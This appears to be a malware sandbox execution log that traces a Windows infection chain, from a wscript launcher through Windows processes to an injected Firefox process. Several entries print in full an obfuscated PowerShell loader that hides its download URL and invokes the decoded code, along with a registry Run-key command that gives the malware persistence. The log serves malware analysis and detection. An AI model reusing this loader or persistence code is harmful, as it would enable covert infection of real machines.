Source: C:\Windows\System32\PING.EXE Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\PING.EXE ping %.%.%.%
Source: C:\Windows\System32\PING.EXE Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c dir
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Retorsionshandlingenllustrationer = 1;$Elytrigerous='S';$Elytrigerous+='ubstrin';$Elytrigerous+='g';Function Programregningsfunktionens($Ridderne){$Retorsionshandlingennfraocular=$Ridderne.Length-$Retorsionshandlingenllustrationer;For($Retorsionshandlingen=5; $Retorsionshandlingen -lt $Retorsionshandlingennfraocular; $Retorsionshandlingen+=(6)){$Outsmokes+=$Ridderne.$Elytrigerous.Invoke( $Retorsionshandlingen, $Retorsionshandlingenllustrationer);}$Outsmokes;}function Gracy216($Begrendes){. ($Antediluvianske) ($Begrendes);}$Diskoskasteren=Programregningsfunktionens 's.perM L deoLandszAccomiTurbolBrystlSu.loa Inte/Linje5.ilfo.Brneb0B,ddi illi(MamelWKortsiExoranBowkndSp,dho.urvew,ndtrsFjase utotNmilepTb,een marga1San.u0Balli.Montr0H,rsk;.ykke BrakpWxanthi ,ervnReprs6trova4Filet;D,awc vidnxT,gue6Admin4Cotra;Insci Un btrTogstvEgipt:Inter1Riv l2For e1 daun. Gens0Sknde)Neutr Trak GRepudeGuldkc BelakTandloV.rde/ edb2Uheld0Sknhe1Elek.0Nell,0 ,rot1Un,en0Skibi1savne MordFautogiKo,merDe,inearom,fShipboHapaxxStork/Inten1Splas2Ds,es1 ilsk.Fylds0Capri ';$Sprayens=Programregningsfunktionens 'NondeU rubasVa neeBe,kir For -,geblAR.bbegholose Ta dn ParatPrivi ';$Reprogrammes=Programregningsfunktionens 'Stuf.hL.muctVersit SubspCosmo:etcif/Taksa/ Impl8Morph7Far,n.Bronz1Anal,2proc,1Ungl .unpol1Unper0F,nda5varmt. Gr,n5Roc,e4,sent/SeksaOOverrmMismamT.buleLandlsForcetmis,arAtropuDiscop,iske.AarsadUnsanesaanipBrodflDiameonamatySawai ';$Kretidseffekternes=Programregningsfunktionens 'Vejkr>Phisa ';$Antediluvianske=Programregningsfunktionens 'Etam.iRaadie saddxFasts ';$Gunlaying='Forraadnelig';Gracy216 (Programregningsfunktionens ' L urS AtikeSignatRecon- geneCPen,eo.endrnNovumtPrintelailanPorphtSt ir Peatw-AngloPObitaa elvetSymbohP,esh TrvemT,ough: ,aad\ Afv I Cerid.roldrCheskt UdpasFilerfMenneo C,lorsol,ceSuavenphaneiIndlenAabengSeepssUnche1Pre i9Wi,db7Super.RadiotNiveax t rrt Duod Evole-Un mmV selraMoraklPericuUnmoueAdvoc Melle$samstG estiu AppenRe,orl TeleaAnmrkySaponiImmunn BehvgAh.eh;Chabo ');Gracy216 (Programregningsfunktionens ' FramiHabi,fCacos larit( GrectV.stfe.olfisTalertRidge-OzonopJu iaaStoddtTabarhPigl, Pse THaand:Mosen\KomplI .oemd ilker tigetEperosKrig,f ColloPl.udr SubseMad lnNonmoiKromgnEnok g SaxosHaand1 Twir9Op oe7 Lov..Fedtst An txfarvet Rede) rtss{ Ka.me KropxFaksiiUdsket Sang} Un s; Gro, ');$Kvrne = Programregningsfunktionens 'NedraeUnconcUan.ghPet ooPaatn Munke%Kys.eaCasanpfy,depSixpedOver aGravit orema Ragl%Euboe\DevelS LovgaLaa,ngPlat sNematgBug.gn JalaiTegninOvercgArbe.eSl,knr Forsn p.ileafsvo. UnshISpirinM lartH ved .fsla&Neonr&Be.ri AdiabeTro ecUdganhSvovloeksp Trink$Ambol ';Gracy216 (Programregningsfunktionens 'Slide$SvmnigImperlAvn,soT aadb Rag,aPie alFordr: DemiVGoogoiQuittrShop k TrknsMycetofodbomHomemhDr sieEffemd De,isdawsst Bf eyOprikpBrancePatrunSongbs Thri=Nonam(Am.utcPillamSulted Stev Toksi/ ilhecRajah bed
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sagsgningerne.Int && echo $"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Retorsionshandlingenllustrationer = 1;$Elytrigerous='S';$Elytrigerous+='ubstrin';$Elytrigerous+='g';Function Programregningsfunktionens($Ridderne){$Retorsionshandlingennfraocular=$Ridderne.Length-$Retorsionshandlingenllustrationer;For($Retorsionshandlingen=5; $Retorsionshandlingen -lt $Retorsionshandlingennfraocular; $Retorsionshandlingen+=(6)){$Outsmokes+=$Ridderne.$Elytrigerous.Invoke( $Retorsionshandlingen, $Retorsionshandlingenllustrationer);}$Outsmokes;}function Gracy216($Begrendes){. ($Antediluvianske) ($Begrendes);}$Diskoskasteren=Programregningsfunktionens 's.perM L deoLandszAccomiTurbolBrystlSu.loa Inte/Linje5.ilfo.Brneb0B,ddi illi(MamelWKortsiExoranBowkndSp,dho.urvew,ndtrsFjase utotNmilepTb,een marga1San.u0Balli.Montr0H,rsk;.ykke BrakpWxanthi ,ervnReprs6trova4Filet;D,awc vidnxT,gue6Admin4Cotra;Insci Un btrTogstvEgipt:Inter1Riv l2For e1 daun. Gens0Sknde)Neutr Trak GRepudeGuldkc BelakTandloV.rde/ edb2Uheld0Sknhe1Elek.0Nell,0 ,rot1Un,en0Skibi1savne MordFautogiKo,merDe,inearom,fShipboHapaxxStork/Inten1Splas2Ds,es1 ilsk.Fylds0Capri ';$Sprayens=Programregningsfunktionens 'NondeU rubasVa neeBe,kir For -,geblAR.bbegholose Ta dn ParatPrivi ';$Reprogrammes=Programregningsfunktionens 'Stuf.hL.muctVersit SubspCosmo:etcif/Taksa/ Impl8Morph7Far,n.Bronz1Anal,2proc,1Ungl .unpol1Unper0F,nda5varmt. Gr,n5Roc,e4,sent/SeksaOOverrmMismamT.buleLandlsForcetmis,arAtropuDiscop,iske.AarsadUnsanesaanipBrodflDiameonamatySawai ';$Kretidseffekternes=Programregningsfunktionens 'Vejkr>Phisa ';$Antediluvianske=Programregningsfunktionens 'Etam.iRaadie saddxFasts ';$Gunlaying='Forraadnelig';Gracy216 (Programregningsfunktionens ' L urS AtikeSignatRecon- geneCPen,eo.endrnNovumtPrintelailanPorphtSt ir Peatw-AngloPObitaa elvetSymbohP,esh TrvemT,ough: ,aad\ Afv I Cerid.roldrCheskt UdpasFilerfMenneo C,lorsol,ceSuavenphaneiIndlenAabengSeepssUnche1Pre i9Wi,db7Super.RadiotNiveax t rrt Duod Evole-Un mmV selraMoraklPericuUnmoueAdvoc Melle$samstG estiu AppenRe,orl TeleaAnmrkySaponiImmunn BehvgAh.eh;Chabo ');Gracy216 (Programregningsfunktionens ' FramiHabi,fCacos larit( GrectV.stfe.olfisTalertRidge-OzonopJu iaaStoddtTabarhPigl, Pse THaand:Mosen\KomplI .oemd ilker tigetEperosKrig,f ColloPl.udr SubseMad lnNonmoiKromgnEnok g SaxosHaand1 Twir9Op oe7 Lov..Fedtst An txfarvet Rede) rtss{ Ka.me KropxFaksiiUdsket Sang} Un s; Gro, ');$Kvrne = Programregningsfunktionens 'NedraeUnconcUan.ghPet ooPaatn Munke%Kys.eaCasanpfy,depSixpedOver aGravit orema Ragl%Euboe\DevelS LovgaLaa,ngPlat sNematgBug.gn JalaiTegninOvercgArbe.eSl,knr Forsn p.ileafsvo. UnshISpirinM lartH ved .fsla&Neonr&Be.ri AdiabeTro ecUdganhSvovloeksp Trink$Ambol ';Gracy216 (Programregningsfunktionens 'Slide$SvmnigImperlAvn,soT aadb Rag,aPie alFordr: DemiVGoogoiQuittrShop k TrknsMycetofodbomHomemhDr sieEffemd De,isdawsst Bf eyOprikpBrancePatrunSongbs Thri=Nonam(Am.utcPillamSulted Stev Toksi/ ilhecRajah bed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sagsgningerne.Int && echo $"
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Program Files (x86)\Windows Mail\wab.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Achaque" /t REG_EXPAND_SZ /d "%Akkvisitiv% -w 1 $Europiums=(Get-ItemProperty -Path 'HKCU:\Respirometres\').Xenoplastic;%Akkvisitiv% ($Europiums)"
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Achaque" /t REG_EXPAND_SZ /d "%Akkvisitiv% -w 1 $Europiums=(Get-ItemProperty -Path 'HKCU:\Respirometres\').Xenoplastic;%Akkvisitiv% ($Europiums)"
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe Process created: C:\Windows\SysWOW64\xcopy.exe "C:\Windows\SysWOW64\xcopy.exe"
Source: unknown Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: unknown Process created: C:\Windows\System32\rundll32.exe C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
Source: C:\Windows\SysWOW64\xcopy.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: unknown Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe"
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\PING.EXE ping google.com -n 1 Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\PING.EXE ping %.%.%.% Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c dir Jump to behavior
Source: C:\Windows\System32\wscript.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Retorsionshandlingenllustrationer = 1;$Elytrigerous='S';$Elytrigerous+='ubstrin';$Elytrigerous+='g';Function Programregningsfunktionens($Ridderne){$Retorsionshandlingennfraocular=$Ridderne.Length-$Retorsionshandlingenllustrationer;For($Retorsionshandlingen=5; $Retorsionshandlingen -lt $Retorsionshandlingennfraocular; $Retorsionshandlingen+=(6)){$Outsmokes+=$Ridderne.$Elytrigerous.Invoke( $Retorsionshandlingen, $Retorsionshandlingenllustrationer);}$Outsmokes;}function Gracy216($Begrendes){. ($Antediluvianske) ($Begrendes);}$Diskoskasteren=Programregningsfunktionens 's.perM L deoLandszAccomiTurbolBrystlSu.loa Inte/Linje5.ilfo.Brneb0B,ddi illi(MamelWKortsiExoranBowkndSp,dho.urvew,ndtrsFjase utotNmilepTb,een marga1San.u0Balli.Montr0H,rsk;.ykke BrakpWxanthi ,ervnReprs6trova4Filet;D,awc vidnxT,gue6Admin4Cotra;Insci Un btrTogstvEgipt:Inter1Riv l2For e1 daun. Gens0Sknde)Neutr Trak GRepudeGuldkc BelakTandloV.rde/ edb2Uheld0Sknhe1Elek.0Nell,0 ,rot1Un,en0Skibi1savne MordFautogiKo,merDe,inearom,fShipboHapaxxStork/Inten1Splas2Ds,es1 ilsk.Fylds0Capri ';$Sprayens=Programregningsfunktionens 'NondeU rubasVa neeBe,kir For -,geblAR.bbegholose Ta dn ParatPrivi ';$Reprogrammes=Programregningsfunktionens 'Stuf.hL.muctVersit SubspCosmo:etcif/Taksa/ Impl8Morph7Far,n.Bronz1Anal,2proc,1Ungl .unpol1Unper0F,nda5varmt. Gr,n5Roc,e4,sent/SeksaOOverrmMismamT.buleLandlsForcetmis,arAtropuDiscop,iske.AarsadUnsanesaanipBrodflDiameonamatySawai ';$Kretidseffekternes=Programregningsfunktionens 'Vejkr>Phisa ';$Antediluvianske=Programregningsfunktionens 'Etam.iRaadie saddxFasts ';$Gunlaying='Forraadnelig';Gracy216 (Programregningsfunktionens ' L urS AtikeSignatRecon- geneCPen,eo.endrnNovumtPrintelailanPorphtSt ir Peatw-AngloPObitaa elvetSymbohP,esh TrvemT,ough: ,aad\ Afv I Cerid.roldrCheskt UdpasFilerfMenneo C,lorsol,ceSuavenphaneiIndlenAabengSeepssUnche1Pre i9Wi,db7Super.RadiotNiveax t rrt Duod Evole-Un mmV selraMoraklPericuUnmoueAdvoc Melle$samstG estiu AppenRe,orl TeleaAnmrkySaponiImmunn BehvgAh.eh;Chabo ');Gracy216 (Programregningsfunktionens ' FramiHabi,fCacos larit( GrectV.stfe.olfisTalertRidge-OzonopJu iaaStoddtTabarhPigl, Pse THaand:Mosen\KomplI .oemd ilker tigetEperosKrig,f ColloPl.udr SubseMad lnNonmoiKromgnEnok g SaxosHaand1 Twir9Op oe7 Lov..Fedtst An txfarvet Rede) rtss{ Ka.me KropxFaksiiUdsket Sang} Un s; Gro, ');$Kvrne = Programregningsfunktionens 'NedraeUnconcUan.ghPet ooPaatn Munke%Kys.eaCasanpfy,depSixpedOver aGravit orema Ragl%Euboe\DevelS LovgaLaa,ngPlat sNematgBug.gn JalaiTegninOvercgArbe.eSl,knr Forsn p.ileafsvo. UnshISpirinM lartH ved .fsla&Neonr&Be.ri AdiabeTro ecUdganhSvovloeksp Trink$Ambol ';Gracy216 (Programregningsfunktionens 'Slide$SvmnigImperlAvn,soT aadb Rag,aPie alFordr: DemiVGoogoiQuittrShop k TrknsMycetofodbomHomemhDr sieEffemd De,isdawsst Bf eyOprikpBrancePatrunSongbs Thri=Nonam(Am.utcPillamSulted Stev Toksi/ ilhecRajah bed Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sagsgningerne.Int && echo $" Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Retorsionshandlingenllustrationer = 1;$Elytrigerous='S';$Elytrigerous+='ubstrin';$Elytrigerous+='g';Function Programregningsfunktionens($Ridderne){$Retorsionshandlingennfraocular=$Ridderne.Length-$Retorsionshandlingenllustrationer;For($Retorsionshandlingen=5; $Retorsionshandlingen -lt $Retorsionshandlingennfraocular; $Retorsionshandlingen+=(6)){$Outsmokes+=$Ridderne.$Elytrigerous.Invoke( $Retorsionshandlingen, $Retorsionshandlingenllustrationer);}$Outsmokes;}function Gracy216($Begrendes){. ($Antediluvianske) ($Begrendes);}$Diskoskasteren=Programregningsfunktionens 's.perM L deoLandszAccomiTurbolBrystlSu.loa Inte/Linje5.ilfo.Brneb0B,ddi illi(MamelWKortsiExoranBowkndSp,dho.urvew,ndtrsFjase utotNmilepTb,een marga1San.u0Balli.Montr0H,rsk;.ykke BrakpWxanthi ,ervnReprs6trova4Filet;D,awc vidnxT,gue6Admin4Cotra;Insci Un btrTogstvEgipt:Inter1Riv l2For e1 daun. Gens0Sknde)Neutr Trak GRepudeGuldkc BelakTandloV.rde/ edb2Uheld0Sknhe1Elek.0Nell,0 ,rot1Un,en0Skibi1savne MordFautogiKo,merDe,inearom,fShipboHapaxxStork/Inten1Splas2Ds,es1 ilsk.Fylds0Capri ';$Sprayens=Programregningsfunktionens 'NondeU rubasVa neeBe,kir For -,geblAR.bbegholose Ta dn ParatPrivi ';$Reprogrammes=Programregningsfunktionens 'Stuf.hL.muctVersit SubspCosmo:etcif/Taksa/ Impl8Morph7Far,n.Bronz1Anal,2proc,1Ungl .unpol1Unper0F,nda5varmt. Gr,n5Roc,e4,sent/SeksaOOverrmMismamT.buleLandlsForcetmis,arAtropuDiscop,iske.AarsadUnsanesaanipBrodflDiameonamatySawai ';$Kretidseffekternes=Programregningsfunktionens 'Vejkr>Phisa ';$Antediluvianske=Programregningsfunktionens 'Etam.iRaadie saddxFasts ';$Gunlaying='Forraadnelig';Gracy216 (Programregningsfunktionens ' L urS AtikeSignatRecon- geneCPen,eo.endrnNovumtPrintelailanPorphtSt ir Peatw-AngloPObitaa elvetSymbohP,esh TrvemT,ough: ,aad\ Afv I Cerid.roldrCheskt UdpasFilerfMenneo C,lorsol,ceSuavenphaneiIndlenAabengSeepssUnche1Pre i9Wi,db7Super.RadiotNiveax t rrt Duod Evole-Un mmV selraMoraklPericuUnmoueAdvoc Melle$samstG estiu AppenRe,orl TeleaAnmrkySaponiImmunn BehvgAh.eh;Chabo ');Gracy216 (Programregningsfunktionens ' FramiHabi,fCacos larit( GrectV.stfe.olfisTalertRidge-OzonopJu iaaStoddtTabarhPigl, Pse THaand:Mosen\KomplI .oemd ilker tigetEperosKrig,f ColloPl.udr SubseMad lnNonmoiKromgnEnok g SaxosHaand1 Twir9Op oe7 Lov..Fedtst An txfarvet Rede) rtss{ Ka.me KropxFaksiiUdsket Sang} Un s; Gro, ');$Kvrne = Programregningsfunktionens 'NedraeUnconcUan.ghPet ooPaatn Munke%Kys.eaCasanpfy,depSixpedOver aGravit orema Ragl%Euboe\DevelS LovgaLaa,ngPlat sNematgBug.gn JalaiTegninOvercgArbe.eSl,knr Forsn p.ileafsvo. UnshISpirinM lartH ved .fsla&Neonr&Be.ri AdiabeTro ecUdganhSvovloeksp Trink$Ambol ';Gracy216 (Programregningsfunktionens 'Slide$SvmnigImperlAvn,soT aadb Rag,aPie alFordr: DemiVGoogoiQuittrShop k TrknsMycetofodbomHomemhDr sieEffemd De,isdawsst Bf eyOprikpBrancePatrunSongbs Thri=Nonam(Am.utcPillamSulted Stev Toksi/ ilhecRajah bed Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Sagsgningerne.Int && echo $" Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Program Files (x86)\Windows Mail\wab.exe "C:\Program Files (x86)\windows mail\wab.exe" Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Achaque" /t REG_EXPAND_SZ /d "%Akkvisitiv% -w 1 $Europiums=(Get-ItemProperty -Path 'HKCU:\Respirometres\').Xenoplastic;%Akkvisitiv% ($Europiums)" Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\reg.exe REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Achaque" /t REG_EXPAND_SZ /d "%Akkvisitiv% -w 1 $Europiums=(Get-ItemProperty -Path 'HKCU:\Respirometres\').Xenoplastic;%Akkvisitiv% ($Europiums)" Jump to behavior
Source: C:\Program Files (x86)\wgDrSTbxuDuJLxUFixRFuyhAkBSOdBneRpJXCfVkaeok\TsrCaEwNrfOKANGWcsg.exe Process created: C:\Windows\SysWOW64\xcopy.exe "C:\Windows\SysWOW64\xcopy.exe" Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe" Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sxs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: vbscript.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrobj.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cryptnet.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: webio.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: cabinet.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: scrrun.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: mpr.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: propsys.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: edputil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: urlmon.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: iertutil.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: srvcli.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: netutils.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: windows.staterepositoryps.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: wintypes.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: appresolver.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: bcp47langs.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: slc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: sppc.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecorecommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\wscript.exe Section loaded: onecoreuapcommonproxystub.dll Jump to behavior
Source: C:\Windows\System32\PING.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\PING.EXE Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\PING.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\PING.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\PING.EXE Section loaded: fwpuclnt.dll Jump to behavior
Source: C:\Windows\System32\PING.EXE Section loaded: winnsi.dll Jump to behavior
Source: C:\Windows\System32\PING.EXE Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\PING.EXE Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\PING.EXE Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\PING.EXE Section loaded: rasadhlp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: atl.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mscoree.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: kernel.appcore.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: version.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: vcruntime140_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ucrtbase_clr0400.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rsaenh.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: cryptbase.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: amsi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: userenv.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: profapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: windows.storage.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wldp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msasn1.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: gpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: msisip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshext.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: appxsip.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: opcservices.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: secur32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: sspicli.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: uxtheme.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasapi32.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rasman.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: rtutils.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: mswsock.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winhttp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: ondemandconnroutehelper.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: iphlpapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc6.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dhcpcsvc.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: dnsapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wbemcomn.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: napinsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: pnrpnsp.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: wshbth.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: nlaapi.dll Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Section loaded: winrnr.dll Jump to behavior
